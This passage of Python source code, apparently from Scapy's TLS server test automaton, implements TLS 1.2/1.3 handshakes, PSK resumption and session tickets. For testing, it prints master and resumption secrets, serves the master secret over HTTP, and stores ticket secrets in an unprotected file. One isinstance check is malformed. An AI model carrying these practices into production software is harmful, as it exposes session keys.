self.max_client_idle_time = max_client_idle_time self.curve = None self.preferred_ciphersuite = None self.preferred_signature_algorithm = None self.cookie = cookie self.psk_secret = psk self.psk_mode = psk_mode if handle_session_ticket is None: handle_session_ticket = session_ticket_file is not None if handle_session_ticket: session_ticket_file = session_ticket_file or get_temp_file() self.handle_session_ticket = handle_session_ticket self.session_ticket_file = session_ticket_file if preferred_ciphersuite is not None: if preferred_ciphersuite in _tls_cipher_suites: self.preferred_ciphersuite = preferred_ciphersuite else: self.vprint("Unrecognized cipher suite.") if preferred_signature_algorithm is not None: if preferred_signature_algorithm in _tls_hash_sig: self.preferred_signature_algorithm = preferred_signature_algorithm else: for (sig_id, nc) in _tls_hash_sig.items(): if nc == preferred_signature_algorithm: self.preferred_signature_algorithm = sig_id break else: self.vprint("Unrecognized signature algorithm.") if curve: for (group_id, ng) in _tls_named_groups.items(): if ng == curve: self.curve = group_id break else: self.vprint("Unrecognized curve.") def vprint_sessioninfo(self): if self.verbose: s = self.cur_session v = _tls_version[s.tls_version] self.vprint("Version : %s" % v) cs = s.wcs.ciphersuite.name self.vprint("Cipher suite : %s" % cs) kx_groupname = s.kx_group self.vprint("Server temp key : %s" % kx_groupname) if s.tls_version >= 0x0304: sigalg = _tls_hash_sig[s.selected_sig_alg] self.vprint("Negotiated sig_alg : %s" % sigalg) if s.tls_version < 0x0304: ms = s.master_secret else: ms = s.tls13_master_secret self.vprint("Master secret : %s" % repr_hex(ms)) if s.client_certs: self.vprint("Client certificate chain: %r" % s.client_certs) if s.tls_version >= 0x0304: res_secret = s.tls13_derived_secrets["resumption_secret"] self.vprint("Resumption master secret : %s" % repr_hex(res_secret)) self.vprint() def http_sessioninfo(self): header = "HTTP/1.1 200 OK\r\n" header += "Server: Scapy TLS Extension\r\n" header += "Content-type: text/html\r\n" header += "Content-length: %d\r\n\r\n" s = "----- Scapy TLS Server Automaton -----\n\n" s += "Information on current TLS session:\n\n" s += "Local end : %s:%d\n" % (self.local_ip, self.local_port) s += "Remote end : %s:%d\n" % (self.remote_ip, self.remote_port) v = _tls_version[self.cur_session.tls_version] s += "Version : %s\n" % v cs = self.cur_session.wcs.ciphersuite.name s += "Cipher suite : %s\n" % cs if self.cur_session.tls_version < 0x0304: ms = self.cur_session.master_secret else: ms = self.cur_session.tls13_master_secret s += "Master secret : %s\n" % repr_hex(ms) body = "
%s
\r\n\r\n" % s answer = (header + body) % len(body) return answer @ATMT.state(initial=True) def INITIAL(self): self.vprint("Starting TLS server automaton.") self.vprint("Receiving 'stop_server' will cause a graceful exit.") self.vprint("Interrupting with Ctrl-Z might leave a loose socket hanging.") # noqa: E501 raise self.BIND() @ATMT.state() def BIND(self): s = socket.socket(self.ip_family, socket.SOCK_STREAM) self.serversocket = s s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: s.bind((self.local_ip, self.local_port)) s.listen(1) except Exception as e: m = "Unable to bind on %s:%d! (%s)" % ( self.local_ip, self.local_port, e ) self.vprint() self.vprint(m) self.vprint("Maybe some server is already listening there?") self.vprint() raise self.FINAL() raise self.WAITING_CLIENT() @ATMT.state() def SOCKET_CLOSED(self): self.socket.close() raise self.WAITING_CLIENT() @ATMT.state() def WAITING_CLIENT(self): self.buffer_out = [] self.buffer_in = [] self.vprint() self.vprint("Waiting for a new client on %s:%d" % (self.local_ip, self.local_port)) self.socket, addr = self.serversocket.accept() if not isinstance(addr, tuple): addr = self.socket.getpeername() if len(addr) > 2: addr = (addr[0], addr[1]) self.remote_ip, self.remote_port = addr self.vprint("Accepted connection from %s:%d" % (self.remote_ip, self.remote_port)) self.vprint() raise self.INIT_TLS_SESSION() @ATMT.state() def INIT_TLS_SESSION(self): """ XXX We should offer the right key according to the client's suites. For now server_rsa_key is only used for RSAkx, but we should try to replace every server_key with both server_rsa_key and server_ecdsa_key. """ self.cur_session = tlsSession(connection_end="server") self.cur_session.server_certs = [self.mycert] self.cur_session.server_key = self.mykey if isinstance(self.mykey, PrivKeyRSA): self.cur_session.server_rsa_key = self.mykey # elif isinstance(self.mykey, PrivKeyECDSA): # self.cur_session.server_ecdsa_key = self.mykey raise self.WAITING_CLIENTFLIGHT1() @ATMT.state() def WAITING_CLIENTFLIGHT1(self): self.get_next_msg() raise self.RECEIVED_CLIENTFLIGHT1() @ATMT.state() def RECEIVED_CLIENTFLIGHT1(self): pass # TLS handshake # @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=1) def tls13_should_handle_ClientHello(self): self.raise_on_packet(TLS13ClientHello, self.tls13_HANDLED_CLIENTHELLO) if self.cur_session.advertised_tls_version == 0x0304: self.raise_on_packet(TLSClientHello, self.tls13_HANDLED_CLIENTHELLO) @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=2) def should_handle_ClientHello(self): self.raise_on_packet(TLSClientHello, self.HANDLED_CLIENTHELLO) @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=3) def tls13_should_handle_ChangeCipherSpec_after_tls13_retry(self): # Middlebox compatibility mode after a HelloRetryRequest. if self.cur_session.tls13_retry: self.raise_on_packet(TLSChangeCipherSpec, self.RECEIVED_CLIENTFLIGHT1) @ATMT.state() def HANDLED_CLIENTHELLO(self): """ We extract cipher suites candidates from the client's proposition. """ if isinstance(self.mykey, PrivKeyRSA): kx = "RSA" elif isinstance(self.mykey, PrivKeyECDSA): kx = "ECDSA" elif isinstance(self.mykey, PrivKeyEdDSA): kx = "" if get_usable_ciphersuites(self.cur_pkt.ciphers, kx): raise self.PREPARE_SERVERFLIGHT1() raise self.NO_USABLE_CIPHERSUITE() @ATMT.state() def NO_USABLE_CIPHERSUITE(self): self.vprint("No usable cipher suite!") raise self.CLOSE_NOTIFY() @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=3) def missing_ClientHello(self): raise self.MISSING_CLIENTHELLO() @ATMT.state(final=True) def MISSING_CLIENTHELLO(self): self.vprint("Missing ClientHello message!") raise self.CLOSE_NOTIFY() @ATMT.state() def PREPARE_SERVERFLIGHT1(self): self.add_record() @ATMT.condition(PREPARE_SERVERFLIGHT1) def should_add_ServerHello(self): """ Selecting a cipher suite should be no trouble as we already caught the None case previously. """ if isinstance(self.mykey, PrivKeyRSA): kx = "RSA" elif isinstance(self.mykey, PrivKeyECDSA): kx = "ECDSA" elif isinstance(self.mykey, PrivKeyEdDSA): kx = "" usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx) c = usable_suites[0] if self.preferred_ciphersuite in usable_suites: c = self.preferred_ciphersuite # Some extensions ext = [TLS_Ext_RenegotiationInfo()] self.add_msg(TLSServerHello(cipher=c, ext=ext)) raise self.ADDED_SERVERHELLO() @ATMT.state() def ADDED_SERVERHELLO(self): pass @ATMT.condition(ADDED_SERVERHELLO) def should_add_Certificate(self): c = self.buffer_out[-1].msg[0].cipher if not _tls_cipher_suites_cls[c].kx_alg.anonymous: self.add_msg(TLSCertificate(certs=self.cur_session.server_certs)) raise self.ADDED_CERTIFICATE() @ATMT.state() def ADDED_CERTIFICATE(self): pass @ATMT.condition(ADDED_CERTIFICATE) def should_add_ServerKeyExchange(self): c = self.buffer_out[-1].msg[0].cipher if not _tls_cipher_suites_cls[c].kx_alg.no_ske: self.add_msg(TLSServerKeyExchange()) raise self.ADDED_SERVERKEYEXCHANGE() @ATMT.state() def ADDED_SERVERKEYEXCHANGE(self): pass @ATMT.condition(ADDED_SERVERKEYEXCHANGE) def should_add_CertificateRequest(self): if self.client_auth: self.add_msg(TLSCertificateRequest()) raise self.ADDED_CERTIFICATEREQUEST() @ATMT.state() def ADDED_CERTIFICATEREQUEST(self): pass @ATMT.condition(ADDED_CERTIFICATEREQUEST) def should_add_ServerHelloDone(self): self.add_msg(TLSServerHelloDone()) raise self.ADDED_SERVERHELLODONE() @ATMT.state() def ADDED_SERVERHELLODONE(self): pass @ATMT.condition(ADDED_SERVERHELLODONE) def should_send_ServerFlight1(self): self.flush_records() raise self.WAITING_CLIENTFLIGHT2() @ATMT.state() def WAITING_CLIENTFLIGHT2(self): self.get_next_msg() raise self.RECEIVED_CLIENTFLIGHT2() @ATMT.state() def RECEIVED_CLIENTFLIGHT2(self): pass @ATMT.condition(RECEIVED_CLIENTFLIGHT2, prio=1) def should_handle_ClientCertificate(self): self.raise_on_packet(TLSCertificate, self.HANDLED_CLIENTCERTIFICATE) @ATMT.condition(RECEIVED_CLIENTFLIGHT2, prio=2) def no_ClientCertificate(self): if self.client_auth: raise self.MISSING_CLIENTCERTIFICATE() raise self.HANDLED_CLIENTCERTIFICATE() @ATMT.state() def MISSING_CLIENTCERTIFICATE(self): self.vprint("Missing ClientCertificate!") raise self.CLOSE_NOTIFY() @ATMT.state() def HANDLED_CLIENTCERTIFICATE(self): if self.client_auth: self.vprint("Received client certificate chain...") @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=1) def should_handle_ClientKeyExchange(self): self.raise_on_packet(TLSClientKeyExchange, self.HANDLED_CLIENTKEYEXCHANGE) @ATMT.state() def HANDLED_CLIENTKEYEXCHANGE(self): pass @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=2) def should_handle_Alert_from_ClientCertificate(self): self.raise_on_packet(TLSAlert, self.HANDLED_ALERT_FROM_CLIENTCERTIFICATE) @ATMT.state() def HANDLED_ALERT_FROM_CLIENTCERTIFICATE(self): self.vprint("Received Alert message instead of ClientKeyExchange!") self.vprint(self.cur_pkt.mysummary()) raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=3) def missing_ClientKeyExchange(self): raise self.MISSING_CLIENTKEYEXCHANGE() @ATMT.state() def MISSING_CLIENTKEYEXCHANGE(self): self.vprint("Missing ClientKeyExchange!") raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_CLIENTKEYEXCHANGE, prio=1) def should_handle_CertificateVerify(self): self.raise_on_packet(TLSCertificateVerify, self.HANDLED_CERTIFICATEVERIFY) @ATMT.condition(HANDLED_CLIENTKEYEXCHANGE, prio=2) def no_CertificateVerify(self): if self.client_auth: raise self.MISSING_CERTIFICATEVERIFY() raise self.HANDLED_CERTIFICATEVERIFY() @ATMT.state() def MISSING_CERTIFICATEVERIFY(self): self.vprint("Missing CertificateVerify!") raise self.CLOSE_NOTIFY() @ATMT.state() def HANDLED_CERTIFICATEVERIFY(self): pass @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=1) def should_handle_ChangeCipherSpec(self): self.raise_on_packet(TLSChangeCipherSpec, self.HANDLED_CHANGECIPHERSPEC) @ATMT.state() def HANDLED_CHANGECIPHERSPEC(self): pass @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=2) def should_handle_Alert_from_ClientKeyExchange(self): self.raise_on_packet(TLSAlert, self.HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE) @ATMT.state() def HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE(self): self.vprint("Received Alert message instead of ChangeCipherSpec!") self.vprint(self.cur_pkt.mysummary()) raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=3) def missing_ChangeCipherSpec(self): raise self.MISSING_CHANGECIPHERSPEC() @ATMT.state() def MISSING_CHANGECIPHERSPEC(self): self.vprint("Missing ChangeCipherSpec!") raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=1) def should_handle_ClientFinished(self): self.raise_on_packet(TLSFinished, self.HANDLED_CLIENTFINISHED) @ATMT.state() def HANDLED_CLIENTFINISHED(self): raise self.PREPARE_SERVERFLIGHT2() @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=2) def should_handle_Alert_from_ClientFinished(self): self.raise_on_packet(TLSAlert, self.HANDLED_ALERT_FROM_CHANGECIPHERSPEC) @ATMT.state() def HANDLED_ALERT_FROM_CHANGECIPHERSPEC(self): self.vprint("Received Alert message instead of Finished!") raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=3) def missing_ClientFinished(self): raise self.MISSING_CLIENTFINISHED() @ATMT.state() def MISSING_CLIENTFINISHED(self): self.vprint("Missing Finished!") raise self.CLOSE_NOTIFY() @ATMT.state() def PREPARE_SERVERFLIGHT2(self): self.add_record() @ATMT.condition(PREPARE_SERVERFLIGHT2) def should_add_ChangeCipherSpec(self): self.add_msg(TLSChangeCipherSpec()) raise self.ADDED_CHANGECIPHERSPEC() @ATMT.state() def ADDED_CHANGECIPHERSPEC(self): pass @ATMT.condition(ADDED_CHANGECIPHERSPEC) def should_add_ServerFinished(self): self.add_record() self.add_msg(TLSFinished()) raise self.ADDED_SERVERFINISHED() @ATMT.state() def ADDED_SERVERFINISHED(self): pass @ATMT.condition(ADDED_SERVERFINISHED) def should_send_ServerFlight2(self): self.flush_records() raise self.SENT_SERVERFLIGHT2() @ATMT.state() def SENT_SERVERFLIGHT2(self): self.vprint("TLS handshake completed!") self.vprint_sessioninfo() if self.is_echo_server: self.vprint("Will now act as a simple echo server.") raise self.WAITING_CLIENTDATA() # end of TLS handshake # # TLS 1.3 handshake # @ATMT.state() def tls13_HANDLED_CLIENTHELLO(self): """ Check if we have to send an HelloRetryRequest XXX check also with non ECC groups """ s = self.cur_session m = s.handshake_messages_parsed[-1] # Check if we have to send an HelloRetryRequest # XXX check also with non ECC groups if self.curve: # We first look for a KeyShareEntry with same group as self.curve if not _tls_named_groups[self.curve] in s.tls13_client_pubshares: # We then check if self.curve was advertised in SupportedGroups # extension for e in m.ext: if isinstance(e, TLS_Ext_SupportedGroups): if self.curve in e.groups: # Here, we need to send an HelloRetryRequest raise self.tls13_PREPARE_HELLORETRYREQUEST() # Signature Algorithms extension is mandatory if not s.advertised_sig_algs: self.vprint("Missing signature_algorithms extension in ClientHello!") raise self.CLOSE_NOTIFY() raise self.tls13_PREPARE_SERVERFLIGHT1() @ATMT.state() def tls13_PREPARE_HELLORETRYREQUEST(self): pass @ATMT.condition(tls13_PREPARE_HELLORETRYREQUEST) def tls13_should_add_HelloRetryRequest(self): self.add_record(is_tls13=False) if isinstance(self.mykey, PrivKeyRSA): kx = "RSA" elif isinstance(self.mykey, PrivKeyECDSA): kx = "ECDSA" elif isinstance(self.mykey, PrivKeyEdDSA): kx = "" usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx) c = usable_suites[0] ext = [TLS_Ext_SupportedVersion_SH(version="TLS 1.3"), TLS_Ext_KeyShare_HRR(selected_group=_tls_named_groups[self.curve])] # noqa: E501 if self.cookie: ext += TLS_Ext_Cookie() p = TLS13HelloRetryRequest(cipher=c, ext=ext) self.add_msg(p) self.flush_records() raise self.tls13_HANDLED_HELLORETRYREQUEST() @ATMT.state() def tls13_HANDLED_HELLORETRYREQUEST(self): pass @ATMT.condition(tls13_HANDLED_HELLORETRYREQUEST) def tls13_should_add_ServerHello_from_HRR(self): raise self.WAITING_CLIENTFLIGHT1() @ATMT.state() def tls13_PREPARE_SERVERFLIGHT1(self): self.add_record(is_tls13=False) def verify_psk_binder(self, psk_identity, obfuscated_age, binder): """ This function verifies the binder received in the 'pre_shared_key' extension and return the resumption PSK associated with those values. The arguments psk_identity, obfuscated_age and binder are taken from 'pre_shared_key' in the ClientHello. """ with open(self.session_ticket_file, "rb") as f: for line in f: s = line.strip().split(b';') if len(s) < 8: continue ticket_label = binascii.unhexlify(s[0]) ticket_nonce = binascii.unhexlify(s[1]) tmp = binascii.unhexlify(s[2]) ticket_lifetime = struct.unpack("!I", tmp)[0] tmp = binascii.unhexlify(s[3]) ticket_age_add = struct.unpack("!I", tmp)[0] tmp = binascii.unhexlify(s[4]) ticket_start_time = struct.unpack("!I", tmp)[0] resumption_secret = binascii.unhexlify(s[5]) tmp = binascii.unhexlify(s[6]) res_ciphersuite = struct.unpack("!H", tmp)[0] tmp = binascii.unhexlify(s[7]) max_early_data_size = struct.unpack("!I", tmp)[0] # Here psk_identity is a Ticket type but ticket_label is bytes, # we need to convert psk_identiy to bytes in order to compare # both strings if psk_identity.__bytes__() == ticket_label: # We compute the resumed PSK associated the resumption # secret self.vprint("Ticket found in database !") if res_ciphersuite not in _tls_cipher_suites_cls: warning("Unknown cipher suite %d", res_ciphersuite) # we do not try to set a default nor stop the execution else: cs_cls = _tls_cipher_suites_cls[res_ciphersuite] hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size tls13_psk_secret = hkdf.expand_label(resumption_secret, b"resumption", ticket_nonce, hash_len) # We verify that ticket age is not expired agesec = int((time.time() - ticket_start_time)) # agems = agesec * 1000 ticket_age = (obfuscated_age - ticket_age_add) % 0xffffffff # noqa: F841, E501 # We verify the PSK binder s = self.cur_session if s.tls13_retry: handshake_context = struct.pack("B", 254) handshake_context += struct.pack("B", 0) handshake_context += struct.pack("B", 0) handshake_context += struct.pack("B", hash_len) digest = hashes.Hash(hkdf.hash, backend=default_backend()) # noqa: E501 digest.update(s.handshake_messages[0]) handshake_context += digest.finalize() for m in s.handshake_messages[1:]: if (isinstance(TLS13ClientHello) or isinstance(TLSClientHello)): handshake_context += m[:-hash_len - 3] else: handshake_context += m else: handshake_context = s.handshake_messages[0][:-hash_len - 3] # noqa: E501 # We compute the binder key # XXX use the compute_tls13_early_secrets() function tls13_early_secret = hkdf.extract(None, tls13_psk_secret) binder_key = hkdf.derive_secret(tls13_early_secret, b"res binder", b"") computed_binder = hkdf.compute_verify_data(binder_key, handshake_context) # noqa: E501 if (agesec < ticket_lifetime and computed_binder == binder): self.vprint("Ticket has been accepted ! ") self.max_early_data_size = max_early_data_size self.resumed_ciphersuite = res_ciphersuite return tls13_psk_secret self.vprint("Ticket has not been accepted ! Fallback to a complete handshake") # noqa: E501 return None @ATMT.condition(tls13_PREPARE_SERVERFLIGHT1) def tls13_should_add_ServerHello(self): psk_identity = None psk_key_exchange_mode = None obfuscated_age = None # XXX check ClientHello extensions... for m in reversed(self.cur_session.handshake_messages_parsed): if isinstance(m, (TLS13ClientHello, TLSClientHello)): for e in m.ext: if isinstance(e, TLS_Ext_PreSharedKey_CH): psk_identity = e.identities[0].identity obfuscated_age = e.identities[0].obfuscated_ticket_age binder = e.binders[0].binder # For out-of-bound PSK, obfuscated_ticket_age should be # 0. We use this field to distinguish between out-of- # bound PSK and resumed PSK is_out_of_band_psk = (obfuscated_age == 0) if isinstance(e, TLS_Ext_PSKKeyExchangeModes): psk_key_exchange_mode = e.kxmodes[0] if isinstance(self.mykey, PrivKeyRSA): kx = "RSA" elif isinstance(self.mykey, PrivKeyECDSA): kx = "ECDSA" elif isinstance(self.mykey, PrivKeyEdDSA): kx = "" usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx) c = usable_suites[0] group = next(iter(self.cur_session.tls13_client_pubshares)) ext = [TLS_Ext_SupportedVersion_SH(version="TLS 1.3")] if (psk_identity and obfuscated_age and psk_key_exchange_mode): s = self.cur_session if is_out_of_band_psk: # Handshake with external PSK authentication # XXX test that self.psk_secret is set s.tls13_psk_secret = binascii.unhexlify(self.psk_secret) # 0: "psk_ke" # 1: "psk_dhe_ke" if psk_key_exchange_mode == 1: server_kse = KeyShareEntry(group=group) ext += TLS_Ext_KeyShare_SH(server_share=server_kse) ext += TLS_Ext_PreSharedKey_SH(selected_identity=0) else: resumption_psk = self.verify_psk_binder(psk_identity, obfuscated_age, binder) if resumption_psk is None: # We did not find a ticket matching the one provided in the # ClientHello. We fallback to a regular 1-RTT handshake server_kse = KeyShareEntry(group=group) ext += [TLS_Ext_KeyShare_SH(server_share=server_kse)] else: # 0: "psk_ke" # 1: "psk_dhe_ke" if psk_key_exchange_mode == 1: server_kse = KeyShareEntry(group=group) ext += [TLS_Ext_KeyShare_SH(server_share=server_kse)] ext += [TLS_Ext_PreSharedKey_SH(selected_identity=0)] self.cur_session.tls13_psk_secret = resumption_psk else: # Standard Handshake ext += TLS_Ext_KeyShare_SH(server_share=KeyShareEntry(group=group)) if self.cur_session.sid is not None: p = TLS13ServerHello(cipher=c, sid=self.cur_session.sid, ext=ext) else: p = TLS13ServerHello(cipher=c, ext=ext) self.add_msg(p) raise self.tls13_ADDED_SERVERHELLO() @ATMT.state() def tls13_ADDED_SERVERHELLO(self): # If the client proposed a non-empty session ID in his ClientHello # he requested the middlebox compatibility mode (RFC8446, appendix D.4) # In this case, the server should send a dummy ChangeCipherSpec in # between the ServerHello and the encrypted handshake messages if self.cur_session.sid is not None: self.add_record(is_tls12=True) self.add_msg(TLSChangeCipherSpec()) @ATMT.condition(tls13_ADDED_SERVERHELLO) def tls13_should_add_EncryptedExtensions(self): self.add_record(is_tls13=True) self.add_msg(TLSEncryptedExtensions(extlen=0)) raise self.tls13_ADDED_ENCRYPTEDEXTENSIONS() @ATMT.state() def tls13_ADDED_ENCRYPTEDEXTENSIONS(self): pass @ATMT.condition(tls13_ADDED_ENCRYPTEDEXTENSIONS) def tls13_should_add_CertificateRequest(self): if self.client_auth: ext = [TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsaepss"])] p = TLS13CertificateRequest(ext=ext) self.add_msg(p) raise self.tls13_ADDED_CERTIFICATEREQUEST() @ATMT.state() def tls13_ADDED_CERTIFICATEREQUEST(self): pass @ATMT.condition(tls13_ADDED_CERTIFICATEREQUEST) def tls13_should_add_Certificate(self): # If a PSK is set, an extension pre_shared_key # was send in the ServerHello. No certificate should # be send here if not self.cur_session.tls13_psk_secret: certs = [] for c in self.cur_session.server_certs: certs += _ASN1CertAndExt(cert=c) self.add_msg(TLS13Certificate(certs=certs)) raise self.tls13_ADDED_CERTIFICATE() @ATMT.state() def tls13_ADDED_CERTIFICATE(self): pass @ATMT.condition(tls13_ADDED_CERTIFICATE) def tls13_should_add_CertificateVerifiy(self): if not self.cur_session.tls13_psk_secret: # If we have a preferred signature algorithm, and the client supports # it, use that. if self.cur_session.advertised_sig_algs: usable_sigalgs = get_usable_tls13_sigalgs( self.cur_session.advertised_sig_algs, self.mykey, location="certificateverify", ) if not usable_sigalgs: self.vprint("No usable signature algorithm!") raise self.CLOSE_NOTIFY() pref_alg = self.preferred_signature_algorithm if pref_alg in usable_sigalgs: self.cur_session.selected_sig_alg = pref_alg else: self.cur_session.selected_sig_alg = usable_sigalgs[0] self.add_msg(TLSCertificateVerify()) raise self.tls13_ADDED_CERTIFICATEVERIFY() @ATMT.state() def tls13_ADDED_CERTIFICATEVERIFY(self): pass @ATMT.condition(tls13_ADDED_CERTIFICATEVERIFY) def tls13_should_add_Finished(self): self.add_msg(TLSFinished()) raise self.tls13_ADDED_SERVERFINISHED() @ATMT.state() def tls13_ADDED_SERVERFINISHED(self): pass @ATMT.condition(tls13_ADDED_SERVERFINISHED) def tls13_should_send_ServerFlight1(self): self.flush_records() raise self.tls13_WAITING_CLIENTFLIGHT2() @ATMT.state() def tls13_WAITING_CLIENTFLIGHT2(self): self.get_next_msg() raise self.tls13_RECEIVED_CLIENTFLIGHT2() @ATMT.state() def tls13_RECEIVED_CLIENTFLIGHT2(self): pass @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=1) def tls13_should_handle_ClientFlight2(self): self.raise_on_packet(TLS13Certificate, self.TLS13_HANDLED_CLIENTCERTIFICATE) @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=2) def tls13_should_handle_Alert_from_ClientCertificate(self): self.raise_on_packet(TLSAlert, self.TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE) @ATMT.state() def TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE(self): self.vprint("Received Alert message instead of ClientKeyExchange!") self.vprint(self.cur_pkt.mysummary()) raise self.CLOSE_NOTIFY() # For Middlebox compatibility (see RFC8446, appendix D.4) # a dummy ChangeCipherSpec record can be send. In this case, # this function just read the ChangeCipherSpec message and # go back in a previous state continuing with the next TLS 1.3 # record @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=3) def tls13_should_handle_ClientCCS(self): self.raise_on_packet(TLSChangeCipherSpec, self.tls13_RECEIVED_CLIENTFLIGHT2) @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=4) def tls13_no_ClientCertificate(self): if self.client_auth: raise self.TLS13_MISSING_CLIENTCERTIFICATE() self.raise_on_packet(TLSFinished, self.TLS13_HANDLED_CLIENTFINISHED) # RFC8446, section 4.4.2.4 : # "If the client does not send any certificates (i.e., it sends an empty # Certificate message), the server MAY at its discretion either # continue the handshake without client authentication or abort the # handshake with a "certificate_required" alert." # Here, we abort the handshake. @ATMT.state() def TLS13_HANDLED_CLIENTCERTIFICATE(self): if self.client_auth: self.vprint("Received client certificate chain...") if isinstance(self.cur_pkt, TLS13Certificate): if self.cur_pkt.certslen == 0: self.vprint("but it's empty !") raise self.TLS13_MISSING_CLIENTCERTIFICATE() @ATMT.condition(TLS13_HANDLED_CLIENTCERTIFICATE) def tls13_should_handle_ClientCertificateVerify(self): self.raise_on_packet(TLSCertificateVerify, self.TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY) @ATMT.condition(TLS13_HANDLED_CLIENTCERTIFICATE, prio=2) def tls13_no_Client_CertificateVerify(self): if self.client_auth: raise self.TLS13_MISSING_CLIENTCERTIFICATE() raise self.TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY() @ATMT.state() def TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY(self): pass @ATMT.condition(TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY) def tls13_should_handle_ClientFinished(self): self.raise_on_packet(TLSFinished, self.TLS13_HANDLED_CLIENTFINISHED) @ATMT.state() def TLS13_MISSING_CLIENTCERTIFICATE(self): self.vprint("Missing ClientCertificate!") self.add_record() self.add_msg(TLSAlert(level=2, descr=0x74)) self.flush_records() self.vprint("Sending TLSAlert 116") self.socket.close() raise self.WAITING_CLIENT() @ATMT.state() def TLS13_HANDLED_CLIENTFINISHED(self): self.vprint("TLS handshake completed!") self.vprint_sessioninfo() if self.is_echo_server: self.vprint("Will now act as a simple echo server.") raise self.WAITING_CLIENTDATA() # end of TLS 1.3 handshake # @ATMT.state() def WAITING_CLIENTDATA(self): self.get_next_msg(self.max_client_idle_time, 1) raise self.RECEIVED_CLIENTDATA() @ATMT.state() def RECEIVED_CLIENTDATA(self): pass def save_ticket(self, ticket): """ This function save a ticket and others parameters in the file given as argument to the automaton Warning : The file is not protected and contains sensitive information. It should be used only for testing purpose. """ if (not isinstance(ticket, TLS13NewSessionTicket) or self.session_ticket_file is None): return s = self.cur_session with open(self.session_ticket_file, "ab") as f: # ticket;ticket_nonce;obfuscated_age;start_time;resumption_secret line = binascii.hexlify(ticket.ticket) line += b";" line += binascii.hexlify(ticket.ticket_nonce) line += b";" line += binascii.hexlify(struct.pack("!I", ticket.ticket_lifetime)) line += b";" line += binascii.hexlify(struct.pack("!I", ticket.ticket_age_add)) line += b";" line += binascii.hexlify(struct.pack("!I", int(time.time()))) line += b";" line += binascii.hexlify(s.tls13_derived_secrets["resumption_secret"]) # noqa: E501 line += b";" line += binascii.hexlify(struct.pack("!H", s.wcs.ciphersuite.val)) line += b";" if (ticket.ext is None or ticket.extlen is None or ticket.extlen == 0): line += binascii.hexlify(struct.pack("!I", 0)) else: for e in ticket.ext: if isinstance(e, TLS_Ext_EarlyDataIndicationTicket): max_size = struct.pack("!I", e.max_early_data_size) line += binascii.hexlify(max_size) line += b"\n" f.write(line) @ATMT.condition(RECEIVED_CLIENTDATA) def should_handle_ClientData(self): if not self.buffer_in: self.vprint("Client idle time maxed out.") raise self.CLOSE_NOTIFY() p = self.buffer_in[0] self.buffer_in = self.buffer_in[1:] recv_data = b"" if isinstance(p, TLSApplicationData): print("> Received: %r" % p.data) recv_data = p.data lines = recv_data.split(b"\n") for line in lines: if line.startswith(b"stop_server"): raise self.CLOSE_NOTIFY_FINAL() elif isinstance(p, TLSAlert): print("> Received: %r" % p) raise self.CLOSE_NOTIFY() elif isinstance(p, TLS13KeyUpdate): print("> Received: %r" % p) p = TLS13KeyUpdate(request_update=0) self.add_record() self.add_msg(p) raise self.ADDED_SERVERDATA() else: print("> Received: %r" % p) if recv_data.startswith(b"GET / HTTP/1.1"): p = TLSApplicationData(data=self.http_sessioninfo()) if self.is_echo_server or recv_data.startswith(b"GET / HTTP/1.1"): self.add_record() self.add_msg(p) if self.handle_session_ticket: self.add_record() ticket = TLS13NewSessionTicket(ext=[]) self.add_msg(ticket) raise self.ADDED_SERVERDATA() raise self.HANDLED_CLIENTDATA() @ATMT.state() def HANDLED_CLIENTDATA(self): raise self.WAITING_CLIENTDATA() @ATMT.state() def ADDED_SERVERDATA(self): pass @ATMT.condition(ADDED_SERVERDATA) def should_send_ServerData(self): if self.session_ticket_file: save_ticket = False for p in self.buffer_out: if isinstance(p, TLS13): # Check if there's a NewSessionTicket to send save_ticket = all(map(lambda x: isinstance(x, TLS13NewSessionTicket), # noqa: E501 p.inner.msg)) if save_ticket: break self.flush_records() if self.session_ticket_file and save_ticket: # Loop backward in message send to retrieve the parsed # NewSessionTicket. This message is not completely build before the # flush_records() call. Other way to build this message before ? for p in reversed(self.cur_session.handshake_messages_parsed): if isinstance(p, TLS13NewSessionTicket): self.save_ticket(p) break raise self.SENT_SERVERDATA() @ATMT.state() def SENT_SERVERDATA(self): raise self.WAITING_CLIENTDATA() @ATMT.state() def CLOSE_NOTIFY(self): self.vprint() self.vprint("Sending a TLSAlert to the client...") @ATMT.condition(CLOSE_NOTIFY) def close_session(self): self.add_record() self.add_msg(TLSAlert(level=1, descr=0)) try: self.flush_records() except Exception: self.vprint("Could not send termination Alert, maybe the client left?") # noqa: E501 self.buffer_out = [] self.socket.close() raise self.WAITING_CLIENT() @ATMT.state() def CLOSE_NOTIFY_FINAL(self): self.vprint() 